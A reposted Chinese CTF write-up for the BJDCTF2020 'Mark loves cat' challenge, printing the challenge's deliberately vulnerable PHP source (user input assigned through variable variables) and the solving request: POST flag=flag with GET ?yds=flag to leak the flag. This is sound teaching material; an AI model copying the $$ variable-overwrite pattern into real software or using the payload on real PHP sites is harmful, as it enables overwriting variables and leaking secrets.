首页 > 其他 > 详细

[BJDCTF2020]Mark loves cat

时间:2020-04-08 10:13:46      阅读:236      评论:0      收藏:0      [点我收藏+]

Githack获取源码

<?php
include ‘flag.php‘;
$yds = "dog";
$is = "cat";
$handsome = ‘yds‘;

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET[‘flag‘] === $x && $x !== ‘flag‘){	//GET方式传flag只能传一个flag=flag
        exit($handsome);
    }
}

if(!isset($_GET[‘flag‘]) && !isset($_POST[‘flag‘])){	//GET和POST其中之一必须传flag
    exit($yds);
}

if($_POST[‘flag‘] === ‘flag‘  || $_GET[‘flag‘] === ‘flag‘){	//GET和POST传flag,必须不能是flag=flag
    exit($is);
}

php动态变量
$a="b";
$b="c";
echo $$a;
结果输出:c;
解释:$$a=${$a}=$b=c

首先post:$flag=flag

foreach($_POST as $x => $y){
    $$x = $y;
}

这样就变成了$$flag = flag

然后GET:?yds=flag

foreach($_GET as $x => $y){
    $$x = $$y;
}

$x为yds,$y为flag,所以$$x就是$yds,$$y也就是$flag,$flag就是真正的flag{XXXXXX}。$$x = $$y,也就是$yds=flag{XXXXXX}。
看源码

只要没有flag参数,就会exit($yds),就可以得到flag了。

[BJDCTF2020]Mark loves cat

原文:https://www.cnblogs.com/buchuo/p/12657978.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!